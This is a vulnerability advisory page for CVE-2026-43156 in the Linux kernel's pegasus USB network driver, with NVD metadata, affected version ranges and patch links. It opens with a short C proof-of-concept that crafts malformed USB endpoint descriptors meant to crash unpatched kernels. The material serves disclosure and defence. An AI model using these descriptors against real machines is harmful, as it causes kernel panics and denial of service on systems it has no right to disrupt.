CVE-2026-43156

/* * PoC Concept: Malicious USB Device Descriptor * This C code snippet demonstrates how to craft a USB device descriptor * that exploits the missing endpoint validation in the pegasus driver. * Compile and run on a USB device simulator (e.g., Linux-USB Gadget). */ #include <linux/usb/ch9.h> // Define a malicious endpoint descriptor for EP1 (Assumed Bulk IN by driver) // Here we set it to Isochronous to trigger the mismatch. struct usb_endpoint_descriptor malicious_ep1 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x81, // Endpoint 1, IN direction .bmAttributes = USB_ENDPOINT_XFER_ISOC, // Mismatch: Driver expects Bulk .wMaxPacketSize = 512, .bInterval = 0, }; // Define a malicious endpoint descriptor for EP2 (Assumed Bulk OUT by driver) struct usb_endpoint_descriptor malicious_ep2 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x02, // Endpoint 2, OUT direction .bmAttributes = USB_ENDPOINT_XFER_INT, // Mismatch: Driver expects Bulk .wMaxPacketSize = 512, .bInterval = 0, }; // Define a malicious endpoint descriptor for EP3 (Assumed Interrupt IN by driver) struct usb_endpoint_descriptor malicious_ep3 = { .bLength = sizeof(struct usb_endpoint_descriptor), .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x83, // Endpoint 3, IN direction .bmAttributes = USB_ENDPOINT_XFER_BULK, // Mismatch: Driver expects Interrupt .wMaxPacketSize = 64, .bInterval = 1, }; /* * When this device is plugged into a vulnerable Linux kernel, * the pegasus driver will probe it, fail to validate these types, * and attempt to submit URBs with incorrect transfer types, * leading to a kernel panic (Assertion failure). */

{"cve": {"id": "CVE-2026-43156", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:33.427", "lastModified": "2026-05-13T21:09:16.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: usb: pegasus: enable basic endpoint checking\n\npegasus_probe() fills URBs with hardcoded endpoint pipes without\nverifying the endpoint descriptors:\n\n - usb_rcvbulkpipe(dev, 1) for RX data\n - usb_sndbulkpipe(dev, 2) for TX data\n - usb_rcvintpipe(dev, 3) for status interrupts\n\nA malformed USB device can present these endpoints with transfer types\nthat differ from what the driver assumes.\n\nAdd a pegasus_usb_ep enum for endpoint numbers, replacing magic\nconstants throughout. Add usb_check_bulk_endpoints() and\nusb_check_int_endpoints() calls before any resource allocation to\nverify endpoint types before use, rejecting devices with mismatched\ndescriptors at probe time, and avoid triggering assertion.\n\nSimilar fix to\n- commit 90b7f2961798 (\"net: usb: rtl8150: enable basic endpoint checking\")\n- commit 9e7021d2aeae (\"net: usb: catc: enable basic endpoint checking\")"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.12.1", "versionEndExcluding": "5.10.252", "matchCriteriaId": "68B6D2AD-7565-4394-B77B-A1EEBCDF590F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:-:*:*:*:*:*:*", "matchCriteriaId": "6F62EECE-8FB1-4D57-85D8-CB9E23CF313C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc2:*:*:*:*:*:*", "matchCriteriaId": "4F76C298-81DC-43E4-8FC9-DC005A2116EF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc3:*:*:*:*:*:*", "matchCriteriaId": "0AB349B2-3F78-4197-882B-90ADB3BF645A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc4:*:*:*:*:*:*", "matchCriteriaId": "6AC88830-A9BC-4607-B572-A4B502FC9FD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.12:rc5:*:*:*:*:*:*", "matchCriteriaId": "476CB3A5-D022-4F13-AAEF-CB6A5785516A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/229dc9b9db475ac900182bafe258943e0e054c6d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/26b3ec62fa1a94ac801feca47f040fc729b3c174", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2705709f6574a088aab246af72fc95f2fea51484", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/35854ed5c40b02f95824e44398f9d2ba33727203", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3d7e6ce34f4fcc7083510c28b17a7c36462a25d4", "source": "416 ... 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